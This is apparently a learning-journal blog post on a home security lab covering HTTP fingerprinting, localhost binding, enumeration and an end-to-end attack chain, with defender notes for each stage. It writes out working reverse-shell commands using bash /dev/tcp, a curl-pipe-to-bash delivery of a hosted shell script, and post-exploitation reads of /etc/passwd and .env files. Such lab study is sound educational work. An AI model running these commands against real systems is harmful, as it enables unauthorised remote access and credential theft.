HTTP, Reverse Shells & Thinking in Three Minds
Digital Insights

HTTP, Reverse Shells & Thinking in Three Minds

Mar 24, 2026
11 min read
Kuldeep Singh

Day 5: Completed Labs 7–17. Watched HTTP headers leak server identity. Built and fired a reverse shell. Delivered a payload through a Python server. Then flipped the mindset entirely and asked — how would I have caught this?

📍 Journey Navigation Prev: Day 4 — Nmap, Firewalls & the Attacker's View · Next: Day 6 — The Wiretap Protocol | Day 1 | Day 3 | Day 5 | Day 6 |

Status: Day 5 of 90-day AI Security journey

Where Yesterday Left Off

Day 4 was about the network layer. Nmap, firewalls, iptables, DROP vs REJECT. I understood how traffic flows and how to block it.

Today was different. Today was about what happens when the attacker is already past the firewall. What does exploitation actually look like? And — critically — what does it leave behind?

Eleven labs. The longest session yet.

By the end I had fired a reverse shell, delivered a payload over HTTP, hijacked an internal service, and then switched chairs entirely and asked: as a defender, what would I have seen?

The answer to that last question is the most important thing I learned today.


The Three Minds Problem

Before I walk through the labs, I need to explain a mental shift that happened somewhere around Lab 12.

Every concept in security has three valid perspectives:

The Attacker's Mind asks: how do I use this to get in?

The Developer's Mind asks: how did this misconfiguration happen, and why does this code behave this way?

The Defender's Mind asks: what artifact did this leave? Where would I see evidence of this in logs?

Most people learning security only develop the first perspective. They learn the attack, they understand the technique, they move on.

The lab guide in my course has a section it calls the "Defender Habit" — after every attack lab, you are supposed to ask three questions: what artifact did this create, where would a SOC analyst see it, and what rule would block it?

For the first few labs I treated those questions as optional. By Lab 12 I realised they are the entire point.

The attack is the mechanism. The detection is the understanding. If you can explain exactly what forensic trace an attack leaves and where, you have actually understood it. If you just ran the command and saw the output — you memorised a technique.

This is the difference between a script kiddie and a security engineer.


Lab 7 — HTTP Inspection: The Server Announces Itself

The first thing I learned about HTTP today is that servers volunteer their own identity.

curl -I http://192.168.100.30:8080

Response header:

Server: SimpleHTTP/0.6 Python/3.11.0

This is called server fingerprinting. The Server header in every HTTP response tells the world exactly what software is running and what version it is. Combined with the nmap -sV scan from Day 4 that extracted the same information from TCP behavior — an attacker has two independent confirmation paths before touching a single line of application logic.

The practical implication: before attempting any exploit, an attacker searches CVE databases for the exact version string the server just handed over. The server did the attacker's reconnaissance for them.

The verbose flag showed me the full conversation:

curl -v http://192.168.100.30:8080

Lines starting > are your outgoing request. Lines starting < are the server's response. Every header, every content-type, every connection negotiation — visible and readable. This is the same data Wireshark captures, just formatted for humans.

Status codes as an enumeration guide:

  • 200 means the resource exists and was returned — attacker found something
  • 403 means the resource exists but access is denied — attacker knows it is there, just needs to find another way
  • 404 means the resource does not exist — move on
  • 500 means the server broke — potentially useful, suggests input is being processed

That distinction between 403 and 404 matters more than it sounds. A 403 on /admin tells an attacker the admin panel exists. A 404 tells them nothing is there. Production systems should return 404 for everything sensitive, not 403. The correct answer to "is there an admin panel?" is silence, not "yes but you cannot enter."


Lab 8 — Local vs Remote Access: The Binding Line

This lab was a direct continuation of Lab 2's binding concept from Day 4, but made visceral.

# On Webserver — localhost only:
python3 -m http.server 9000 --bind 127.0.0.1

# From Kali — access attempt:
curl http://192.168.100.30:9000
# Result: Connection refused

Then:

# From Webserver itself:
curl http://127.0.0.1:9000
# Result: 200 OK, content returned

The port exists. The service is running. But from the network, it is completely invisible.

This is how production databases are supposed to be configured. MySQL should listen on 127.0.0.1. Redis should listen on 127.0.0.1. Internal admin panels should listen on 127.0.0.1. The only machine that should access the database is the application server sitting on the same box — localhost to localhost, never crossing the network.

When databases are accidentally bound to 0.0.0.0 — and this happens constantly in misconfigured cloud environments — they become directly reachable from the internet. No application layer, no authentication gateway, just the database port exposed.

The attack relevance of this binding distinction becomes clear in Lab 12. I will get there.


Lab 9 — Reverse Shell: The Moment Theory Ended

This was the lab I had been building toward all week. Everything before it was context. This was the payoff.

Why a reverse shell exists — the firewall bypass logic:

Firewalls block inbound connections. A machine behind a firewall cannot be directly connected to from outside. But firewalls almost never block outbound connections — your machine needs to be able to reach the internet.

A reverse shell flips the model:

Normal connection:   Attacker → Target:PORT   (blocked by firewall)
Reverse shell:       Target → Attacker:PORT   (looks like normal outbound traffic)

The target machine initiates the connection outward to the attacker. The firewall sees outbound traffic and allows it. The attacker receives the connection. Now they have a shell — a live command prompt — running on the target machine.

The execution:

On Kali — listener waiting for the call:

nc -lvnp 4444

On Webserver — the payload that calls home:

bash -c 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1'

/dev/tcp/IP/PORT is a bash feature that creates a TCP socket. The >& redirects standard output and standard error through that socket. 0>&1 redirects standard input from it. The result: keyboard goes to the socket, socket goes to the keyboard. Everything typed on Kali is executed on the Webserver.

On Kali — the shell appears:

whoami    # ubuntu
hostname  # webserver
ip a      # 192.168.100.30

I am now executing commands on a machine I have no credentials for, no SSH access to, through a connection the webserver initiated itself.

Defender note — the three artifacts this creates:

  1. On Webserver: ss -tulnp shows bash connected to 192.168.100.10:4444 — a bash process with a live outbound TCP connection
  2. On Router: tcpdump shows TCP traffic from .30 to .10 on port 4444
  3. In logs: any process spawning bash with network descriptors is anomalous

The forensic signature is specific: bash process, non-standard port, sustained connection, no associated TTY. Real EDR tools flag this pattern immediately.


Lab 10 — Shell Stability: Why the Raw Shell Is Dangerous

A basic reverse shell has a fatal flaw:

sudo -l   # fails — requires a proper TTY
CTRL+C    # kills your entire shell access

No tab completion. No command history. Fragile and limited. In a real operation, pressing CTRL+C at the wrong moment terminates access permanently.

The fix — upgrading to a full PTY:

python3 -c "import pty; pty.spawn('/bin/bash')"

Then background the shell with CTRL+Z, configure the local terminal:

stty raw -echo
fg

Now: CTRL+C works correctly, tab completion works, command history works, sudo prompts work. It behaves like a full SSH session even though it is a raw TCP connection on port 4444.

The developer perspective here is interesting. This works because pty.spawn creates a pseudo-terminal — the same mechanism SSH uses to give you an interactive terminal over a network connection. The underlying Linux concept of TTY allocation is being exploited to make a raw socket look like a proper terminal session.


Lab 11 — Web Delivery: curl|bash and Why It Works

This lab showed the most common malware delivery pattern on Linux systems.

The attack:

On Kali — create payload and host it:

echo 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1' > /tmp/shell.sh
python3 -m http.server 8080 --directory /tmp

On Webserver — the victim "clicks the link":

curl http://192.168.100.10:8080/shell.sh | bash

The file downloads silently and executes immediately. Kali receives the reverse shell.

Why curl|bash is so common in malware: It is the standard software installation pattern on Linux. Every install guide for every developer tool — Node.js, Rust, Homebrew, Docker, countless others — says "run this command." Users are trained to trust this pattern. Attackers exploit that trust.

The attacker's HTTP server logged the delivery:

192.168.100.30 - - [timestamp] "GET /shell.sh HTTP/1.1" 200

Then immediately after, Kali received the connection. Two log lines, two seconds apart, tell the entire story: file downloaded, shell established. This is the forensic signature of a successful web delivery attack.

The developer perspective: Never pipe untrusted remote content directly to bash without inspection. Review what you are running before running it. Download first, read it, then execute if it looks correct.


Lab 12 — Internal Service Abuse: The Perimeter Is Already Broken

This lab crystallised what post-exploitation actually means.

Setup: The webserver is running a service on 127.0.0.1:3306 — simulating MySQL. From Kali, it is completely invisible:

curl http://192.168.100.30:3306
# Connection refused — cannot reach it from outside

Nmap from Kali cannot see it either. From the network, it does not exist.

Then I obtained the reverse shell from Lab 9.

Inside the shell — running on the Webserver — I ran:

ss -tulnp

Output:

127.0.0.1:3306  LISTEN  python3

And then:

curl http://127.0.0.1:3306

It works. Because I am now executing code from inside the machine. Localhost is accessible. The network perimeter no longer applies.

This is the entire point of why perimeter security is insufficient. The firewall, the binding address, the hidden service — all of it means nothing once an attacker has code execution on the machine. Everything that the OS can reach, the attacker can now reach. Internal databases, admin APIs, monitoring agents, credential files, secrets in memory.

Getting code execution is not the end of the attack. It is the beginning.

The developer's perspective: Defence in depth exists for this reason. Each layer of the stack should authenticate independently. The database should require credentials even from localhost. The admin panel should authenticate even from the internal network. A compromised application server should not automatically mean a compromised database.


Labs 13–16 — Enumeration, Scanning, and Misconfiguration

These four labs built the systematic attacker methodology.

Lab 13 — Enumeration combined nmap, curl, and nc into a workflow:

nmap -sn subnet  →  find live hosts
nmap -sV host    →  find services and versions
nc -v host port  →  grab banner directly
curl -I host     →  inspect HTTP headers

Enumeration is not one tool. It is a workflow. Each tool fills in what the previous one missed.

Lab 14 — Python Port Scanner was building the tool from scratch. Not using nmap — writing the socket connection logic myself. This was important because understanding why connect_ex returns 0 for open and non-zero for filtered changes how you think about network scanning. You stop thinking "nmap found an open port" and start thinking "a TCP connection to this address succeeded, which means a process accepted the connection."

The threading upgrade made it 10–50x faster. Same technique nmap uses internally.

Lab 15 — Advanced Scanning introduced timing as a detection variable:

sudo nmap -sS -T4 192.168.100.30  # fast, loud, detectable
sudo nmap -sS -T1 192.168.100.30  # slow, quiet, harder to detect

Fast scanning generates hundreds of packets per second from a single source. IDS systems catch this pattern trivially. Slow scanning spreads those same packets over hours. The signature is harder to distinguish from background noise.

This is a real operational consideration. Threat actors running long-term campaigns do not run T4 scans. They scan slowly, over days, staying below the alert thresholds of IDS systems.

Lab 16 — Exposure and Misconfiguration was the most grounding lab of the day:

for path in admin backup logs config .git .env .htpasswd; do
    code=$(curl -s -o /dev/null -w '%{http_code}' \
           http://192.168.100.30:8080/$path)
    echo "$path: $code"
done

Output:

admin: 200
backup: 200
logs: 200
.env: 200

Every one of those 200 responses represents credentials, database passwords, access logs showing real user IPs, backup files with schema information. A 10-line bash loop found four critical exposures in under two seconds.

The developer perspective: Directory listing should be disabled on every web server. Sensitive files should never sit in the document root. .env files should never be accessible over HTTP. Backup files should not live in web-accessible directories. These are not exotic security hardening measures — they are basic operational hygiene that gets missed constantly.


Lab 17 — Attack Chain Simulation: Connecting Every Piece

The final lab was running all previous labs as a single connected workflow:

RECON       →  nmap -sn to find live hosts
SCAN        →  nmap -sV to fingerprint services
ENUMERATE   →  curl to discover exposed files
PREPARE     →  create payload, start HTTP listener
DELIVER     →  victim executes curl|bash
ACCESS      →  reverse shell received
POST        →  ss -tulnp, cat /etc/passwd, find .env files

Then immediately switching to defender mode:

# On Router:
sudo grep 'NMAP\|4444' /var/log/syslog

# On Webserver:
cat /var/log/syslog | grep bash

Both sides of the same operation, visible in logs simultaneously.

This is the exercise that forced the three-minds perspective to become concrete. Every stage of the attack chain left a trace:

  • Recon: nmap SYN packets in router firewall logs
  • Enumeration: HTTP access log showing rapid sequential requests for sensitive paths
  • Delivery: HTTP log showing GET for shell.sh, then immediate outbound TCP on 4444
  • Access: bash process with network socket, visible in ss output and auth logs

The guide's summary said it well: every step creates evidence. The attacker has to get everything right. The defender only needs to catch one thing.


The Core Mental Model: Three Perspectives on One System

After seventeen labs I can now describe what it means to look at a system through three different lenses.

The attacker's perspective is relentlessly focused on what can be reached. Open ports. Accessible files. Outbound connections allowed. Every exposed service is a potential entry. Every misconfiguration is an opportunity. The attacker asks: what does this service tell me, what can I access without authentication, and what will execute my code?

The developer's perspective asks why does this behave this way. Why does /dev/tcp work as a network socket? Why does 0.0.0.0 expose a service to the entire network? Why does curl|bash execute silently? Understanding the mechanism — the actual system call, the TCP state machine, the process model — is what separates someone who can reproduce an attack from someone who understands it deeply enough to prevent it.

The defender's perspective asks what did this leave behind. This is the hardest perspective to develop because it requires anticipating what you have not yet seen. You have to know, before an attack happens, where evidence will appear when it does. Firewall logs, HTTP access logs, process tables, network connection state, authentication logs — each layer of the stack records something. The defender's job is knowing which layer records what.

The insight that connected all three for me: the attacker and the defender are operating on the same system at the same time, just looking at different parts of it. The attacker sees an open port and thinks "entry point." The defender sees the same port and thinks "what logs does this generate." Neither perspective is complete without the other.


What Seventeen Labs Taught Me

The server header is a gift to attackers. Disabling or spoofing the Server header in production takes one line of configuration. Most systems never do it.

Reverse shells bypass firewalls because outbound traffic is trusted. This is not a vulnerability — it is a design assumption of firewalls. The correct defence is egress filtering (restricting what can leave, not just what can enter) combined with process-level monitoring.

curl|bash is trusted because it is the normal install pattern. Attackers exploit social norms, not just technical vulnerabilities. The fact that it looks familiar is the attack.

Post-exploitation starts at localhost. Getting a shell does not mean the attacker is done. It means they now have a starting point inside the perimeter where everything assumes trust.

Logs are the defender's only evidence. Without logging, you can block attacks but never know they happened, who performed them, or what they accessed. Logging is not optional — it is the entire forensic foundation.


Tomorrow — Labs 18 to 22

Tomorrow the labs move to MITM attacks. DNS spoofing, SSL stripping, session hijacking, rogue DHCP.

These are the attacks that happen not because the target server is misconfigured but because the network itself can be subverted. You do not need to touch the server at all.

The attack surface just got wider.


Day 5 of 90 | Labs 7–17: ✅ Complete | HTTP Inspection: ✅ | Reverse Shell: ✅ | Payload Delivery: ✅ | Attack Chain: ✅ | Three-Minds Model: ✅ | Tomorrow: MITM + DNS Spoofing 🔴


AI SecurityCybersecurityNetworkingLinuxOffensive Security
Continue Reading

More Engineering Insights

Browse All Technical Posts